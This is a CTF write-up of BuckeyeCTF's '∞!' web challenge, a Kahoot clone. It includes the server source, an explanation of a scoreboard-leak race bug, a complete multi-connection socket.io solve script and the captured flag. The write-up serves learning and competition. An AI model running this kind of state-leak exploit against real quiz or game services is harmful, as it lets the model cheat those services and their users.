∞!

a kahoot clone gone wrong

Published 2023-10-02

WARNING
This writeup was not designed for small screens. Proceed with caution.
CHALLENGE
Name:∞!
Category:web
Author:jm8
Description:It's like the popular educational game, but it never ends.

https://infinity.chall.pwnoh.io

Note: the flag format for this challenge only is flag{}.

This year's BuckeyeCTF had a pretty interesting web challenge. We were given a kahoot clone that went infintely, and the goal was to get 21 questions right in a row. The thing was, each question's answer was randomized, so if we were guessing, the chances of getting a streak of 21 questions is one in 4^{21} = 4.3980465111e12 so guessing over and over again isn't an option. We need to find a way to cheat the answer out. Selected wrong answer Lets take a look at the code. We'll only look at the server code because the client code is irrelevant. The server code is a single 210 line file, but the majority of that is taken up by questions.

First they define an array of questions, notice how they don't have a set answer. The correct answer will be generated later.

Then we have our assorted variables. The important ones are:
  • scoreboard is an object relating a socket.io id with their current streak.
  • answered is the set of all the ids that have answered. This is here to prevent people from answering multiple times.
  • correctAnswer is the index of the correct answer. It is using the randomInt function from crypto so we can't do any random cracking shenanigans.

Next we have a function that generates gameState to be sent out. Note that the entire scoreboard is sent out, but the client only shows the top score. It will also send out a correct answer if answerRevealed is true.

When a socket connects (a user joins) the game will send the gameState out to the player.

It will also listen to any incoming answer messages. If the user already answered or the time limit is up, it aborts. Otherwise it will immediately set their score to 0 if they got it wrong or increment their score by one if they got it right.

And if we get 21 correct in a row it sends us the flag :)

Now we hit the main game loop. The game loop is quite simple and compose of 4 simple steps.
  • First initializes all the variables then emits game state.
  • Waits 8 seconds for people to answer.
  • Delete all the people who did not answer from the scoreboard, then reveal the answer by sending the game state with answerRevealed set to true.
  • Waits 3 seconds, then selects the next question, starting the loop again.
import { Server } from "socket.io";
import { randomInt } from "crypto";
import { Question, GameState } from "../types";
import shuffleArray from "shuffle-array";
import express from "express";
import http from "http";
import path from "path";

const QUESTIONS: Question[] = [
  {
    question: "What color am I thinking of?",
    answers: ["Red", "Blue", "Yellow", "Green"],
    image: "https://upload.wikimedia.org/...",
  },
  ...
];

async function main(io: Server) {
  let scoreboard: Record<string, number> = {};
  let answered = new Set();
  let questionIndex = 0;
  let correctAnswer = randomInt(4);
  let answerRevealed = false;
  let sleepEndTime: number = 0;

  function sleep(seconds: number) {
    sleepEndTime = new Date().getTime() + 1000 * seconds;
    return new Promise((resolve) => setTimeout(resolve, 1000 * seconds));
  }

  function gameState(): GameState {
    return {
      question: QUESTIONS[questionIndex],
      questionIndex,
      scoreboard,
      correctAnswer: answerRevealed ? correctAnswer : undefined,
      timeLeft: 8000,
    };
  }

  io.on("connect", socket => {
    socket.emit("gameState", { 
        ...gameState(), 
        timeLeft: sleepEndTime - new Date().getTime()
    });
    socket.on("answer", (answer: number) => {
      if (answered.has(socket.id) || answerRevealed) {
        return;
      }
      answered.add(socket.id);
      if (!(socket.id in scoreboard)) {
        scoreboard[socket.id] = 0;
      }
      if (answer == correctAnswer) {
        scoreboard[socket.id] += 1;
      } else {
        scoreboard[socket.id] = 0;
      }
      if (scoreboard[socket.id] >= 21) {
        socket.emit("flag", process.​env.FLAG ?? "bctf{fake_flag}");
      }
    })
  })

  while (true) {
    if (questionIndex === 0) {
      shuffleArray(QUESTIONS);
    }
    answerRevealed = false;
    answered.clear();
    correctAnswer = randomInt(4);
    io.emit("gameState", gameState());
    await sleep(8);
    answerRevealed = true;
    for (const player of Object.keys(scoreboard)) {
      if (!answered.has(player)) {
        delete scoreboard[player];
      }
    }
    io.emit("gameState", gameState());
    await sleep(3);
    questionIndex = (questionIndex + 1) % QUESTIONS.length;
  }
}

const app = express();
const server = http.createServer(app);
const io = new Server(server);

app.use(express.static(path.join(__dirname, "../client/dist")));

main(io);

server.listen(1024);

Now that we have a solid understanding of the code, we can dive into the challenge solution.

The bug that allows us to get the answer before the timer ends is that when a player answers, their score is immediately updated in the scoreboard after the server recieves the answer message. Then we can get the players score by getting the game state to see if they were right or wrong.

You might be wondering how that helps us because the game state is only sent out after the answer is revealed, but there is actually another way of obtaining the game state. If we look at where the gameState() is called, we can see that it is called in 3 different places.

  1. When a player joins
  2. When the timer expires and the answer is revealed
  3. When the new question is sent out.

And because players can join in the middle of the round, we now have a way of getting the game state!

explaination of the exploit
Now that we understand how the bug works, we can write an exploit and solve this challenge.
const checkers = [io(), io(), io(), io()];
const lbChecker = io({ autoConnect: false });
const winner = io();

We first initalize all the connections we need. One checker for each answer. One connection to join in the middle of the round, and one connection to submit the correct answer

If you actually do this on the live servers, you'll have to wait a couple seconds for all of the connections to go through.

for (const i in checkers) {
  const checker = checkers[i];
  checker.on("gameState", (state) => {
    // The gameState that gives us the question will have
    // correctAnswer equal to undefined
    if (state.correctAnswer === undefined) {
      console.log("sending answer " + i)
      if (i == 0) {
        // If you are the one presssing the first answer,
        // reconnect the lbChecker after 500ms
        setTimeout(() => {
          console.log("reconnecting lb checker")
          lbChecker.connect();
        }, 500)
      }
      checker.emit("answer", i)
    }
  })
}

Next we'll get every one of the checkers to press one of the ansewrs. We'll have one of the checkers reconnect the lbChecker after 500ms which should give the checkers enough time to answer the question.

const getCorrectAnswer = (lb) => {
  for (const i in checkers) {
    if (lb[checkers[i].id] > 0) {
      return i
    }
  }
}

lbChecker.on("gameState", (state) => {
  if (state.correctAnswer === undefined) {
    console.log("winner has score of: " + state.scoreboard[winner.id])
    const correct = getCorrectAnswer(state.scoreboard)
    console.log("correct answer was " + correct)
    winner.emit("answer", correct)
    lbChecker.disconnect();
  }
})

winner.on("flag", (flag) => { console.log("FLAG!!!!! " + flag) }) 

Finally we can get the leaderboard checker going. getCorrectAnswer will check which checker got it correct, which will give us the index of the answer. Then have the winner emit the answer that we now know. Also we'll listen to flag on the winner bot.

Lets see this on a timeline:

question sent
checkers

join

Scoreboard

0
0
1
0
lbChecker
winner

leave

answer revealed

That might be a lot to take in but I hope the diagram helps you understand the exploit a little better. If you don't understand one of the steps, hover over the step and a description should pop up.

Finally I'll provide the full solve script. It is arranged differently but it does the same thing.

Solve script here!
const checkers = [io(), io(), io(), io()];
let lbChecker = io({ autoConnect: false });
lbChecker.on("gameState", (state) => {
  if (state.correctAnswer === undefined) {
    console.log("winner has score of: " + state.scoreboard[winner.id])
    const correct = getCorrectAnswer(state.scoreboard)
    console.log("correct answer was " + correct)
    winner.emit("answer", correct)
    lbChecker.disconnect();
  }
})
const winner = io();
for (const i in checkers) {
  const checker = checkers[i];
  checker.on("gameState", (state) => {
    if (state.correctAnswer === undefined) {
      console.log("sending answer " + i)
      if (i == 0) {
        // reconnect lbChecker
        setTimeout(() => {
          console.log("reconnecting lb checker")
          lbChecker.connect();
        }, 500)
      }
      checker.emit("answer", i)
    }
  })
}

const getCorrectAnswer = (lb) => {
  for (const i in checkers) {
    if (lb[checkers[i].id] > 0) {
      return i
    }
  }
}

winner.on("flag", (flag) => { console.log("FLAG!!!!! " + flag) })

Finally lets just go ahead and use this solve script. Running this script and waiting a while, we'll get the flag.

FLAG!
flag{pl3453_d0n7_k1ck_m3_fr0m_7h3_k4h007_468d9bba}

Thanks for reading through. I would like to thank the BuckeyeCTF organizers, this was an incredibly fun ctf to play and I look foward to playing it in future years.

my script reached 360/21 while writing this writeup

left my script running